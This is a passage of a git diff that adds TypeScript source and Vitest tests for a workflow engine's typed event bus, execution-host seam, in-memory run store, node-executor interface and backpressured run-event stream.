expect(event.timestamp).toBe('2026-06-13T12:00:00.000Z'); + }); +}); + +describe('RunEventBus — delivery and subscription', () => { + it('delivers stamped events to every subscriber and stops after unsubscribe', () => { + const bus = new RunEventBus({ now: fakeNow() }); + const seen: RunEvent[] = []; + const unsubscribe = bus.subscribe((event) => seen.push(event)); + bus.emit(nodeStarted('run-1', 'a')); + unsubscribe(); + bus.emit(nodeStarted('run-1', 'b')); + expect(seen).toHaveLength(1); + expect(seen[0]?.type).toBe('node:started'); + }); + + it('isolates a throwing subscriber: the sink is notified and sibling subscribers still receive it', () => { + const onListenerError = vi.fn(); + const bus = new RunEventBus({ now: fakeNow(), onListenerError }); + const sibling: RunEvent[] = []; + bus.subscribe(() => { + throw new Error('subscriber boom'); + }); + bus.subscribe((event) => sibling.push(event)); + const event = bus.emit(nodeStarted('run-1', 'a')); + expect(sibling).toHaveLength(1); + expect(onListenerError).toHaveBeenCalledTimes(1); + expect(onListenerError).toHaveBeenCalledWith(expect.any(Error), event); + }); +}); diff --git a/packages/core/src/engine/event-bus.ts b/packages/core/src/engine/event-bus.ts new file mode 100644 index 00000000..0fb55b5c --- /dev/null +++ b/packages/core/src/engine/event-bus.ts @@ -0,0 +1,142 @@ +/** + * `RunEventBus` (1.N) — the engine's **in-house, platform-free** typed pub/sub over the + * `@relavium/shared` `RunEvent` union ([ADR-0036](../../../../docs/decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)). + * It is deliberately **not** a Node `EventEmitter` (`node:events` is banned in `packages/core/src` by + * the engine-purity fence — CLAUDE.md rule 5) and **not** a third-party emitter (a new engine runtime + * dependency would need its own ADR — rule 2). A typed pub/sub over a closed discriminated union is + * trivial to own and types directly on `RunEvent`, which a loosely-typed library cannot. + * + * This is the **single producer-side translation point** the ADR mandates: the one site that assigns + * the **monotonic, gap-free `sequenceNumber`** (per correlation key — `runId` for a run, `sessionId` + * for a session) and the ISO-8601 `timestamp`, and the one validation gate (every event is checked + * against `RunEventSchema` before delivery unless a host opts out on a hot path). Callers hand the bus + * an *envelope-less* {@link RunEventDraft}; the bus stamps the envelope. Secret masking / `toolInput` + * sanitization happen *upstream* of the bus (the engine masks `run:started.inputs`; a node sanitizes + * its own `toolInput`) — the bus's job is the envelope + validation, not redaction. + * + * Subscribers are **passive consumers** (cost, UI, persistence-as-observer): a subscriber throwing is + * isolated so it can neither corrupt the sequence nor break sibling subscribers or the producer — and + * it is **never silently swallowed** (docs/standards/error-handling.md): it is routed to + * `onListenerError`, or re-thrown out-of-band on a microtask so it surfaces as an unhandled rejection. + */ + +import { RunEventSchema, type RunEvent } from '@relavium/shared'; + +/** Distribute `Omit` across each member of a union so the discriminated union is preserved. */ +type DistributiveOmit = T extends unknown ? Omit : never; + +/** + * A run event minus the envelope fields the bus stamps centrally (`timestamp`, `sequenceNumber`). The + * producer supplies the type, the correlation key (`runId` **or** `sessionId`), and the payload; the + * bus assigns the rest. Distributive, so each union member keeps its own required payload shape. + */ +export type RunEventDraft = DistributiveOmit; + +/** A subscriber to the bus. Passive: it observes events and must never mutate run state. */ +export type RunEventListener = (event: RunEvent) => void; + +export interface RunEventBusOptions { + /** Injected ISO-8601 timestamp source (the host clock) — keeps the bus platform-free + testable. */ + readonly now: () => string; + /** + * Validate every event against `RunEventSchema` before delivery (default `true`). A host may pass + * `false` to skip validation on a high-frequency hot path (e.g. `agent:token` floods) in production; + * tests and the conformance suite keep it on. Even off, the `sequenceNumber`/envelope are still + * stamped — only the Zod check is skipped. + */ + readonly validate?: boolean; + /** + * Sink for a subscriber that throws. If unset, the error is re-thrown out-of-band (on a microtask) + * so it surfaces as an unhandled rejection rather than being swallowed — the producer and sibling + * subscribers are never affected either way. + */ + readonly onListenerError?: (error: unknown, event: RunEvent) => void; +} + +/** The correlation key of a draft — `runId` on a run, `sessionId` on a session (exactly one). */ +function correlationKey(draft: RunEventDraft): string | undefined { + if ('runId' in draft && draft.runId !== undefined) { + return draft.runId; + } + if ('sessionId' in draft && draft.sessionId !== undefined) { + return draft.sessionId; + } + return undefined; +} + +export class RunEventBus { + readonly #now: () => string; + readonly #validate: boolean; + readonly #onListenerError: ((error: unknown, event: RunEvent) => void) | undefined; + readonly #listeners = new Set(); + /** Per-correlation-key sequence counters — the single authoritative monotonic source. */ + readonly #sequence = new Map(); + + constructor(options: RunEventBusOptions) { + this.#now = options.now; + this.#validate = options.validate ?? true; + this.#onListenerError = options.onListenerError; + } + + /** + * Stamp a draft into a full, validated `RunEvent` — assigning the next `sequenceNumber` for its + * correlation key and the `timestamp` — **without** delivering it. Split from {@link deliver} so the + * engine can `await` a durable persist between stamping and delivery for a node-boundary / terminal + * event (persistence-before-delivery, ADR-0036) while the `sequenceNumber` is still assigned here, at + * the one authoritative point. The counter increments only on a successful stamp. + */ + next(draft: RunEventDraft): RunEvent { + const key = correlationKey(draft); + if (key === undefined) { + // Internal invariant: the engine always sets exactly one correlation key. Guarded so a bug + // surfaces loudly here rather than as a mis-keyed (and therefore ungapped) sequence. + throw new Error('RunEventBus.next: event draft has neither runId nor sessionId'); + } + const sequenceNumber = this.#sequence.get(key) ?? 0; + // Re-adding the two envelope fields the draft omitted reconstitutes a full `RunEvent` — TS infers + // the union back, so no assertion is needed; the optional Zod parse is the runtime gate. + const candidate = { ...draft, timestamp: this.#now(), sequenceNumber }; + const event = this.#validate ? RunEventSchema.parse(candidate) : candidate; + this.#sequence.set(key, sequenceNumber + 1); + return event; + } + + /** Fan a fully-stamped event out to every subscriber, isolating a throwing subscriber. */ + deliver(event: RunEvent): void { + for (const listener of this.#listeners) { + try { + listener(event); + } catch (error) { + this.#reportListenerError(error, event); + } + } + } + + /** Stamp and deliver in one step — for a transient (non-durable) event such as `agent:token`. */ + emit(draft: RunEventDraft): RunEvent { + const event = this.next(draft); + this.deliver(event); + return event; + } + + /** Subscribe a passive consumer; returns an idempotent unsubscribe. */ + subscribe(listener: RunEventListener): () => void { + this.#listeners.add(listener); + return () => { + this.#listeners.delete(listener); + }; + } + + #reportListenerError(error: unknown, event: RunEvent): void { + if (this.#onListenerError !== undefined) { + this.#onListenerError(error, event); + return; + } + // No sink: surface out-of-band rather than swallow (no-silent-catch) and without breaking the + // producer or sibling subscribers. A deferred `Promise` throw is the ES-only (no DOM/Node lib) + // equivalent of `queueMicrotask` — it becomes an unhandled rejection the host can observe. + void Promise.resolve().then(() => { + throw error; + }); + } +} diff --git a/packages/core/src/engine/execution-host.test.ts b/packages/core/src/engine/execution-host.test.ts new file mode 100644 index 00000000..ed6fd8ed --- /dev/null +++ b/packages/core/src/engine/execution-host.test.ts @@ -0,0 +1,98 @@ +import { describe, expect, it, vi } from 'vitest'; + +import type { RunEvent } from '@relavium/shared'; + +import { createAbortController, createInMemoryHost, InMemoryRunStore } from './execution-host.js'; + +describe('createAbortController — platform-free abort', () => { + it('reports aborted, fires listeners once, and is idempotent', () => { + const controller = createAbortController(); + const listener = vi.fn(); + controller.signal.addEventListener('abort', listener); + expect(controller.signal.aborted).toBe(false); + controller.abort(); + controller.abort(); // idempotent — listeners fire only once + expect(controller.signal.aborted).toBe(true); + expect(listener).toHaveBeenCalledTimes(1); + }); + + it('does not fire a removed listener', () => { + const controller = createAbortController(); + const listener = vi.fn(); + controller.signal.addEventListener('abort', listener); + controller.signal.removeEventListener('abort', listener); + controller.abort(); + expect(listener).not.toHaveBeenCalled(); + }); +}); + +describe('InMemoryRunStore', () => { + it('mints a stable UUID per slug and reuses it', async () => { + const store = new InMemoryRunStore(); + const first = await store.resolveWorkflowId('my-flow'); + expect(first).toMatch(/^[0-9a-f-]{36}$/); + expect(await store.resolveWorkflowId('my-flow')).toBe(first); + expect(await store.resolveWorkflowId('other-flow')).not.toBe(first); + }); + + it('ignores a session-correlated event (no runId) and records run events per run', async () => { + const store = new InMemoryRunStore(); + const sessionEvent = { + type: 'agent:token', + sessionId: 's1', + timestamp: '2026-06-13T00:00:00.000Z', + sequenceNumber: 0, + nodeId: 'n', + token: 'x', + model: 'm', + } as RunEvent; + await store.persistEvent(sessionEvent); + expect(store.eventsFor('s1')).toHaveLength(0); // out of the run store's scope + + const runEvent = { + type: 'run:started', + runId: 'r1', + timestamp: '2026-06-13T00:00:00.000Z', + sequenceNumber: 0, + workflowId: '00000000-0000-4000-8000-000000000001', + inputs: {}, + executionMode: 'local', + } as RunEvent; + await store.persistEvent(runEvent); + expect(store.eventsFor('r1')).toHaveLength(1); + }); + + it('excludes a completed run from the interrupted set', async () => { + const store = new InMemoryRunStore(); + const base = { runId: 'r1', timestamp: '2026-06-13T00:00:00.000Z' }; + await store.persistEvent({ + ...base, + type: 'run:started', + sequenceNumber: 0, + workflowId: '00000000-0000-4000-8000-000000000001', + inputs: {}, + executionMode: 'local', + }); + await store.persistEvent({ + ...base, + type: 'run:completed', + sequenceNumber: 1, + outputs: {}, + totalTokensUsed: { input: 0, output: 0 }, + totalCostMicrocents: 0, + durationMs: 1, + }); + expect(await store.listInterruptedRuns()).toHaveLength(0); + }); +}); + +describe('createInMemoryHost', () => { + it('produces a deterministic ISO clock and unique ids', () => { + const host = createInMemoryHost(); + const t1 = host.clock.now(); + const t2 = host.clock.now(); + expect(t1).not.toBe(t2); // advances per read + expect(Date.parse(t2)).toBeGreaterThan(Date.parse(t1)); + expect(host.ids.newId()).not.toBe(host.ids.newId()); + }); +}); diff --git a/packages/core/src/engine/execution-host.ts b/packages/core/src/engine/execution-host.ts new file mode 100644 index 00000000..da56c97d --- /dev/null +++ b/packages/core/src/engine/execution-host.ts @@ -0,0 +1,215 @@ +/** + * The `ExecutionHost` seam (1.N, [ADR-0036](../../../../docs/decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)) + * — the injected boundary that carries the **host concerns** the run loop must not reach for directly, + * so the loop body is identical across execution modes (CLAUDE.md rule 5 — zero platform imports in + * `packages/core`). `local` is the Phase-1 host; `cloud` (Phase 2) swaps the whole host and streams the + * same `RunEvent`s over HTTP SSE; `managed` keeps this host and switches only behind the `@relavium/llm` + * seam (execution-model.md §Local vs cloud). The loop never branches on the mode — it calls the host. + * + * Three concerns are injected: a **clock** (so the bus stamps timestamps without an ambient + * `Date`/wall-clock and tests are deterministic), an **id source** (run/gate ids — no ambient + * `crypto`), and a **store** (the persistence port the `Checkpointer` (1.R) and the ADR-0022 + * slug→UUID upsert hang off). The store is also what crash reconciliation reads on startup. Real + * surfaces inject production implementations (the CLI/desktop supply `new Date().toISOString()` and a + * UUID source); core ships only the deterministic {@link createInMemoryHost} used by the engine tests + * and as the local reference. + */ + +import type { AbortSignalLike, RunEvent } from '@relavium/shared'; + +/** A platform-free ISO-8601 timestamp source — injected so the engine never reads an ambient clock. */ +export interface Clock { + /** An ISO-8601 timestamp with offset (`…Z` or `±HH:MM`), matching the run-event envelope. */ + now: () => string; +} + +/** A platform-free unique-id source — injected so the engine never reaches for an ambient `crypto`. */ +export interface IdSource { + /** A process-unique id (a `runId` / `gateId`); the local/cloud host supplies a UUID source. */ + newId: () => string; +} + +/** + * The minimal abort-controller shape the engine creates per run — injected so core never names the + * ambient `AbortController` global (absent from the strict `lib: ["ES2023"]` purity build; CLAUDE.md + * rule 5). A native `AbortController` (Node/browser/Bun) structurally satisfies it, so a real surface + * injects `() => new AbortController()` and its `signal` is a genuine `AbortSignal` that `fetch` honours; + * {@link createInMemoryHost} injects the in-house {@link createAbortController} for tests. + */ +export interface AbortControllerLike { + readonly signal: AbortSignalLike; + abort: (reason?: unknown) => void; +} + +/** + * An in-house, platform-free {@link AbortControllerLike} — no ambient `AbortController`. Enough for the + * engine and stub executors (observe `aborted`, fire `abort` listeners once); a real surface injects a + * native controller whose signal also drives `fetch`. + */ +export function createAbortController(): AbortControllerLike { + let aborted = false; + const listeners = new Set<() => void>(); + const signal: AbortSignalLike = { + get aborted(): boolean { + return aborted; + }, + addEventListener: (_type, listener) => { + listeners.add(listener); + }, + removeEventListener: (_type, listener) => { + listeners.delete(listener); + }, + }; + return { + signal, + abort: () => { + if (aborted) { + return; + } + aborted = true; + for (const listener of listeners) { + listener(); + } + listeners.clear(); + }, + }; +} + +/** + * A run interrupted before it reached a terminal event — what crash reconciliation finds on startup. + * `resumable` distinguishes a run parked at a human/budget gate (checkpoint-resumable) from one that was + * mid-execution when the process died (non-resumable → reconciled to `run:failed`). + */ +export interface InterruptedRun { + readonly runId: string; + readonly workflowId: string; + /** `true` when the run was suspended at a gate (resumable); `false` when it died mid-execution. */ + readonly resumable: boolean; + /** The highest `sequenceNumber` already persisted for this run — the reconcile event continues from it. */ + readonly lastSequenceNumber: number; +} + +/** + * The persistence port (1.N defines it; 1.R wires a SQLite-backed one; Phase-2 cloud another). There is + * **no separate checkpoint table** — the checkpoint is derived from these rows (ADR-0003). 1.N needs + * only: resolve the authored slug to the surrogate `workflows.id` UUID (ADR-0022), append events (the + * node-boundary/terminal write the engine awaits *before* delivery), and enumerate interrupted runs for + * reconciliation. + */ +export interface RunStore { + /** + * Resolve (upserting if needed) the authored workflow slug to its surrogate `workflows.id` UUID, so + * `run:started.workflowId` is always a UUID enforced in one place (ADR-0022). + */ + resolveWorkflowId: (slug: string) => Promise; + /** Durably append one run event (the engine awaits this for a boundary/terminal event before delivery). */ + persistEvent: (event: RunEvent) => Promise; + /** Runs with a `run:started` but no terminal event — for startup crash reconciliation. */ + listInterruptedRuns: () => Promise; +} + +/** The injected execution-mode seam: clock + id source + persistence + abort, nothing platform-specific. */ +export interface ExecutionHost { + readonly clock: Clock; + readonly ids: IdSource; + readonly store: RunStore; + /** Create a fresh abort controller for a run — injected so core never names the ambient global. */ + readonly newAbortController: () => AbortControllerLike; +} + +// --- In-memory reference implementation (engine tests + the local reference) ------------------- + +const TERMINAL_TYPES: ReadonlySet = new Set([ + 'run:completed', + 'run:failed', + 'run:cancelled', +]); +const RESUMABLE_LAST_TYPES: ReadonlySet = new Set([ + 'human_gate:paused', + 'run:paused', + 'budget:paused', +]); + +/** Format a counter into a syntactically-valid (RFC-4122-shaped) UUID — deterministic for tests. */ +function counterUuid(n: number): string { + const hex = n.toString(16).padStart(12, '0'); + return `00000000-0000-4000-8000-${hex}`; +} + +/** + * An in-memory {@link RunStore} — deterministic and dependency-free. Persists events per run so a *new* + * engine constructed over the *same* store sees the prior "process'" runs, which is how the tests + * simulate crash-then-restart reconciliation. Slugs map to stable counter UUIDs. + */ +export class InMemoryRunStore implements RunStore { + readonly #events = new Map(); + readonly #workflowIds = new Map(); + #workflowCounter = 0; + + resolveWorkflowId(slug: string): Promise { + let id = this.#workflowIds.get(slug); + if (id === undefined) { + id = counterUuid(++this.#workflowCounter); + this.#workflowIds.set(slug, id); + } + return Promise.resolve(id); + } + + persistEvent(event: RunEvent): Promise { + if (event.runId === undefined) { + return Promise.resolve(); // session events are out of the run store's scope (1.N) + } + const bucket = this.#events.get(event.runId); + if (bucket === undefined) { + this.#events.set(event.runId, [event]); + } else { + bucket.push(event); + } + return Promise.resolve(); + } + + listInterruptedRuns(): Promise { + const interrupted: InterruptedRun[] = []; + for (const [runId, events] of this.#events) { + const started = events.find((e) => e.type === 'run:started'); + if (started === undefined || started.type !== 'run:started') { + continue; + } + if (events.some((e) => TERMINAL_TYPES.has(e.type))) { + continue; // already settled + } + const last = events[events.length - 1]; + interrupted.push({ + runId, + workflowId: started.workflowId, + resumable: last !== undefined && RESUMABLE_LAST_TYPES.has(last.type), + lastSequenceNumber: events.reduce((max, e) => Math.max(max, e.sequenceNumber), -1), + }); + } + return Promise.resolve(interrupted); + } + + /** Test/inspection helper — the persisted event log for a run, in append order. */ + eventsFor(runId: string): readonly RunEvent[] { + return this.#events.get(runId) ?? []; + } +} + +/** + * A deterministic in-memory {@link ExecutionHost} for the engine tests and the local reference: a clock + * that advances 1ms per read from a fixed base (valid ISO-8601, reproducible), a counter id source, and + * an {@link InMemoryRunStore}. A real surface injects wall-clock/UUID sources instead. + */ +export function createInMemoryHost(options?: { + store?: RunStore; + baseEpochMs?: number; +}): ExecutionHost & { store: RunStore } { + let tick = options?.baseEpochMs ?? Date.parse('2026-01-01T00:00:00.000Z'); + let idCounter = 0; + return { + clock: { now: () => new Date(tick++).toISOString() }, + ids: { newId: () => `id-${++idCounter}` }, + store: options?.store ?? new InMemoryRunStore(), + newAbortController: createAbortController, + }; +} diff --git a/packages/core/src/engine/node-executor.ts b/packages/core/src/engine/node-executor.ts new file mode 100644 index 00000000..ea3ce9ed --- /dev/null +++ b/packages/core/src/engine/node-executor.ts @@ -0,0 +1,109 @@ +/** + * The `NodeExecutor` seam (1.N) — the boundary the run loop dispatches each ready vertex through, and + * the contract the later workstreams **fill**: the `AgentRunner` (1.O) for `agent` vertices and the + * node-type handlers (1.P) for `condition` / `transform` / `fan_out` / `fan_in` / `input` / `output` / + * `human_in_the_loop`. 1.N owns the *loop* (readiness, skip-propagation, the event stream, the + * exactly-one-terminal-event guarantee, cancellation); it does **not** execute node bodies. Keeping the + * executor an injected interface lets the loop be proven end-to-end with stub executors before 1.O/1.P + * exist, and lets a real executor plug in unchanged. + * + * A node sees only its **declared inputs** (its config block + the settled upstream outputs it resolves + * `{{ … }}` against), never the whole run state or another node's transcript — context isolation + * ([shared-core-engine.md](../../../../docs/architecture/shared-core-engine.md)). Streaming events a + * node produces mid-execution (`agent:token` / `agent:tool_call` / `agent:tool_result` / + * `cost:updated` / `agent:file_patch_proposed`) are emitted through {@link NodeExecContext.emit}; the + * envelope (`runId` / `timestamp` / `sequenceNumber`) is stamped centrally by the bus, so a node hands + * over only the event body. A node is responsible for sanitizing its own `toolInput` (no secrets) + * before emitting — the producer-side translation point validates, it does not redact. + */ + +import type { AbortSignalLike, ErrorCode, HumanGatePausedEvent, TokensUsed } from '@relavium/shared'; + +import type { RunEventDraft } from './event-bus.js'; +import type { PlanVertex } from '../run-plan.js'; + +/** The gate-type triad (`approval` | `input` | `review`), derived from the event contract. */ +export type GateType = HumanGatePausedEvent['gateType']; + +/** The event types a node may emit *during* its own execution (carried on the run/session envelope). */ +type InNodeEventType = + | 'agent:token' + | 'agent:tool_call' + | 'agent:tool_result' + | 'cost:updated' + | 'agent:file_patch_proposed'; + +/** Distribute `Omit` across each union member so the discriminated union (and `.type` narrowing) survives. */ +type DistributiveKeyOmit = T extends unknown ? Omit : never; + +/** + * An in-node streaming event body — one of the in-node event types, minus the envelope the bus stamps + * (`runId` / `sessionId` / `timestamp` / `sequenceNumber`). The executor sets the payload (incl. + * `nodeId`); the engine attaches the correlation key + sequence. Distributive, so a consumer can narrow + * on `event.type` and reach a member's own fields (e.g. `cost:updated`'s `costMicrocents`). + */ +export type NodeStreamEvent = DistributiveKeyOmit< + Extract, + 'runId' | 'sessionId' +>; + +/** A node failure mapped to the closed `ErrorCode` taxonomy (`@relavium/shared`, error-handling.md). */ +export interface NodeFailure { + readonly code: ErrorCode; + /** User-safe, secret-free; the internal correlation id rides the event, not this message. */ + readonly message: string; + readonly retryable: boolean; +} + +/** A node's request to suspend the run at a human gate (`human_in_the_loop` → `human_gate:paused`). */ +export interface GateRequest { + /** Stable id the resume path keys on; the engine generates one when the executor omits it. */ + readonly gateId?: string; + readonly gateType: GateType; + readonly message: string; + readonly assignee?: string; + readonly timeoutMs?: number; + readonly expiresAt?: string; +} + +/** + * The result of executing one vertex. Discriminated on `kind`: + * - `completed` — the node produced an `output` (and, for an LLM node, `tokensUsed`). + * - `failed` — a classified failure; the run loop maps it to `node:failed` and fails the run (node + * retry above the provider chain is 1.S, layered later). + * - `branch` — a `condition` node's routing: `selected` lists the immediate target vertex ids to keep + * live; every other dependent of the condition is skip-propagated by the loop. + * - `paused` — a `human_in_the_loop` node suspends the run; the loop emits `human_gate:paused`, parks + * the gate, and continues other branches until it resumes via `engine.resume`. + */ +export type NodeOutcome = + | { readonly kind: 'completed'; readonly output: unknown; readonly tokensUsed?: TokensUsed } + | { readonly kind: 'failed'; readonly error: NodeFailure } + | { + readonly kind: 'branch'; + readonly output?: unknown; + readonly selected: readonly string[]; + readonly tokensUsed?: TokensUsed; + } + | { readonly kind: 'paused'; readonly gate: GateRequest }; + +/** The context handed to a node executor for one dispatch of one vertex. */ +export interface NodeExecContext { + /** The vertex being executed — its engine type, config block, and un-evaluated input templates. */ + readonly vertex: PlanVertex; + /** Settled upstream outputs by vertex id — the data the node resolves its `{{ run.outputs }}` against. */ + readonly runOutputs: ReadonlyMap; + /** The run-wide inputs (the `input` namespace); a `secret`-typed input is carried per the taint rules. */ + readonly inputs: Readonly>; + /** Emit a streaming event mid-execution; the engine stamps the envelope and routes it to the bus. */ + emit: (event: NodeStreamEvent) => void; + /** Aborts when the run is cancelled, fails elsewhere, or times out — thread it into provider/tool calls. */ + readonly signal: AbortSignalLike; + /** 1-based attempt number for this dispatch (always 1 in 1.N; node-level retry is 1.S). */ + readonly attemptNumber: number; +} + +/** The injected per-vertex executor. 1.O (`AgentRunner`) and 1.P (node handlers) implement it. */ +export interface NodeExecutor { + execute(ctx: NodeExecContext): Promise; +} diff --git a/packages/core/src/engine/run-handle.test.ts b/packages/core/src/engine/run-handle.test.ts new file mode 100644 index 00000000..ef4baac5 --- /dev/null +++ b/packages/core/src/engine/run-handle.test.ts @@ -0,0 +1,146 @@ +import { describe, expect, it, vi } from 'vitest'; + +import type { RunEvent } from '@relavium/shared'; + +import { RunEventBus, type RunEventDraft } from './event-bus.js'; +import { createRunHandle } from './run-handle.js'; + +function bus(): RunEventBus { + let tick = Date.parse('2026-06-13T00:00:00.000Z'); + return new RunEventBus({ now: () => new Date(tick++).toISOString() }); +} + +const started = (nodeId: string): RunEventDraft => ({ + type: 'node:started', + runId: 'run-1', + nodeId, + nodeType: 'input', +}); +const completed = (): RunEventDraft => ({ + type: 'run:completed', + runId: 'run-1', + outputs: {}, + totalTokensUsed: { input: 0, output: 0 }, + totalCostMicrocents: 0, + durationMs: 1, +}); + +async function drain(events: AsyncIterable): Promise { + const collected: RunEvent[] = []; + for await (const event of events) { + collected.push(event); + } + return collected; +} + +describe('RunHandle — the async-iterable event stream', () => { + it('yields events in order and completes on a terminal event', async () => { + const b = bus(); + const handle = createRunHandle(b, 'run-1', () => undefined); + b.emit(started('a')); + b.emit(started('b')); + b.emit(completed()); + const events = await drain(handle.events); + expect(events.map((e) => e.type)).toEqual(['node:started', 'node:started', 'run:completed']); + expect(events.map((e) => e.sequenceNumber)).toEqual([0, 1, 2]); + }); + + it('never drops an event emitted before the consumer starts iterating (buffered from construction)', async () => { + const b = bus(); + const handle = createRunHandle(b, 'run-1', () => undefined); + // All three are emitted before anyone awaits the iterable. + b.emit(started('a')); + b.emit(started('b')); + b.emit(completed()); + expect((await drain(handle.events)).map((e) => e.type)).toEqual([ + 'node:started', + 'node:started', + 'run:completed', + ]); + }); + + it('delivers live events to a consumer already awaiting next()', async () => { + const b = bus(); + const handle = createRunHandle(b, 'run-1', () => undefined); + const iterator = handle.events[Symbol.asyncIterator](); + const pending = iterator.next(); // awaiting before any event exists + b.emit(started('a')); + const result = await pending; + expect(result.done).toBe(false); + if (!result.done) { + expect(result.value.type).toBe('node:started'); + } + }); + + it('applies producer-await backpressure once the buffer exceeds capacity, then drains', async () => { + const b = bus(); + const handle = createRunHandle(b, 'run-1', () => undefined, 2); // capacity 2 + b.emit(started('a')); + b.emit(started('b')); + b.emit(started('c')); + b.emit(started('d')); // buffer = 4 > capacity 2 + + let drained = false; + const ready = handle.whenConsumersReady().then(() => { + drained = true; + }); + await Promise.resolve(); + expect(drained).toBe(false); // still over capacity + + const iterator = handle.events[Symbol.asyncIterator](); + await iterator.next(); + await iterator.next(); // buffer back down to 2 (<= capacity) + await ready; + expect(drained).toBe(true); + }); + + it('subscribe attaches a passive observer that sees the same stamped events', async () => { + const b = bus(); + const handle = createRunHandle(b, 'run-1', () => undefined); + const observed: RunEvent[] = []; + handle.subscribe((event) => observed.push(event)); + b.emit(started('a')); + b.emit(completed()); + await drain(handle.events); + expect(observed.map((e) => e.type)).toEqual(['node:started', 'run:completed']); + }); + + it('cancel() delegates to the injected canceller', () => { + const cancel = vi.fn(); + const handle = createRunHandle(bus(), 'run-1', cancel); + handle.cancel(); + expect(cancel).toHaveBeenCalledTimes(1); + }); + + it('stops delivering after the consumer abandons the loop (return())', async () => { + const b = bus(); + const handle = createRunHandle(b, 'run-1', () => undefined); + const iterator = handle.events[Symbol.asyncIterator](); + b.emit(started('a')); + await iterator.next(); + await iterator.return?.(); // consumer breaks out + const after = await iterator.next(); + expect(after.done).toBe(true); + }); + + it('ignores events emitted after the terminal closed the stream (no late delivery)', async () => { + const b = bus(); + const handle = createRunHandle(b, 'run-1', () => undefined); + b.emit(started('a')); + b.emit(completed()); // terminal — closes the stream and unsubscribes + const events = await drain(handle.events); + // A stray post-terminal emit is not delivered to the (closed) stream. + b.emit(started('late')); + expect(events.map((e) => e.type)).toEqual(['node:started', 'run:completed']); + }); + + it('rejects a second concurrent next() on the same stream', async () => { + const b = bus(); + const handle = createRunHandle(b, 'run-1', () => undefined); + const iterator = handle.events[Symbol.asyncIterator](); + const first = iterator.next(); // parks waiting for an event + await expect(iterator.next()).rejects.toThrow(/concurrent next/); + b.emit(started('a')); + await first; + }); +}); diff --git a/packages/core/src/engine/run-handle.ts b/packages/core/src/engine/run-handle.ts new file mode 100644 index 00000000..674501d2 --- /dev/null +++ b/packages/core/src/engine/run-handle.ts @@ -0,0 +1,166 @@ +/** + * `RunHandle` (1.N) — the surface-agnostic handle `WorkflowEngine.start` returns. Its `events` is the + * `AsyncIterable` every surface consumes with the identical `for await … switch (event.type)` + * loop (sse-event-schema.md §Consuming the stream); `subscribe` is the co-equal push API for additional + * passive observers (cost, UI). Both ride the one in-house {@link RunEventBus} + * ([ADR-0036](../../../../docs/decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)). + * + * The async iterable is a **thin push→pull adapter over the bus** with a **bounded, no-drop** + * (producer-await) policy: the buffer never drops an event (a drop would force a `sequenceNumber` + * resync), and a slow consumer applies backpressure through {@link RunHandle.whenConsumersReady}, which + * the engine awaits at node boundaries so a pathologically slow reader throttles the producer rather + * than growing the buffer without bound. The primary stream subscribes at construction — *before* the + * engine emits `run:started` — so the consumer can attach lazily without a startup race. (Late + * additional subscribers via {@link RunHandle.subscribe} resync from persisted `run_events` — 1.R; the + * in-process replay path is out of 1.N scope and noted here.) + */ + +import type { RunEvent } from '@relavium/shared'; + +import type { RunEventBus, RunEventListener } from './event-bus.js'; + +const TERMINAL_TYPES: ReadonlySet = new Set([ + 'run:completed', + 'run:failed', + 'run:cancelled', +]); + +/** Default per-consumer high-water mark — beyond this, the producer is asked to await a drain. */ +const DEFAULT_CAPACITY = 256; + +/** + * A single-consumer async queue bridging the push bus to a pull `for await`. No-drop: an event pushed + * while no consumer is waiting is buffered; backpressure is signalled through {@link whenDrained} + * rather than by dropping. One active iteration at a time (a second concurrent `next()` rejects); use + * {@link RunHandle.subscribe} for additional observers. + */ +class RunEventStream implements AsyncIterableIterator { + readonly #buffer: RunEvent[] = []; + readonly #capacity: number; + #waitingPull: ((result: IteratorResult) => void) | undefined; + #drainWaiters: (() => void)[] = []; + #closed = false; + + constructor(capacity: number) { + this.#capacity = capacity; + } + + /** Offer an event to the consumer (hand to a waiting `next()`, else buffer). Never drops. */ + push(event: RunEvent): void { + if (this.#closed) { + return; + } + if (this.#waitingPull !== undefined) { + const resolve = this.#waitingPull; + this.#waitingPull = undefined; + resolve({ value: event, done: false }); + return; + } + this.#buffer.push(event); + } + + /** Signal end-of-stream — drains what is buffered, then the iteration completes. */ + close(): void { + if (this.#closed) { + return; + } + this.#closed = true; + if (this.#waitingPull !== undefined) { + const resolve = this.#waitingPull; + this.#waitingPull = undefined; + resolve({ value: undefined, done: true }); + } + this.#wakeDrainWaiters(); + } + + /** Resolves once the buffer is at or below capacity (or the stream is closed) — the backpressure knob. */ + whenDrained(): Promise { + if (this.#closed || this.#buffer.length <= this.#capacity) { + return Promise.resolve(); + } + return new Promise((resolve) => { + this.#drainWaiters.push(resolve); + }); + } + + #wakeDrainWaiters(): void { + if (this.#closed || this.#buffer.length <= this.#capacity) { + const waiters = this.#drainWaiters; + this.#drainWaiters = []; + for (const wake of waiters) { + wake(); + } + } + } + + next(): Promise> { + const buffered = this.#buffer.shift(); + if (buffered !== undefined) { + this.#wakeDrainWaiters(); + return Promise.resolve({ value: buffered, done: false }); + } + if (this.#closed) { + return Promise.resolve({ value: undefined, done: true }); + } + if (this.#waitingPull !== undefined) { + return Promise.reject(new Error('RunEventStream: concurrent next() is not supported')); + } + return new Promise>((resolve) => { + this.#waitingPull = resolve; + }); + } + + /** Consumer abandoned the loop (`break` / `return`) — release the stream. */ + return(): Promise> { + this.#closed = true; + this.#buffer.length = 0; + this.#wakeDrainWaiters(); + return Promise.resolve({ value: undefined, done: true }); + } + + [Symbol.asyncIterator](): AsyncIterableIterator { + return this; + } +} + +/** The handle `WorkflowEngine.start` returns — the run's id, its event stream, and cooperative cancel. */ +export interface RunHandle { + /** The run id (`runId`) this handle observes — the key on every event in its stream. */ + readonly runId: string; + /** The canonical event stream — `for await (const event of handle.events)`; completes on a terminal event. */ + readonly events: AsyncIterable; + /** Attach an additional passive observer (cost / UI); returns an idempotent unsubscribe. */ + subscribe: (listener: RunEventListener) => () => void; + /** Request cooperative cancellation of this run (delegates to the engine). */ + cancel: () => void; + /** Resolves when the primary consumer's buffer has drained below capacity — the engine awaits it to throttle. */ + whenConsumersReady: () => Promise; +} + +/** + * Wire a {@link RunHandle} over a bus. Subscribes the primary stream at construction (before + * `run:started`), and on a terminal event closes the stream and unsubscribes so the `for await` + * completes exactly once and nothing leaks. + */ +export function createRunHandle( + bus: RunEventBus, + runId: string, + cancel: () => void, + capacity: number = DEFAULT_CAPACITY, +): 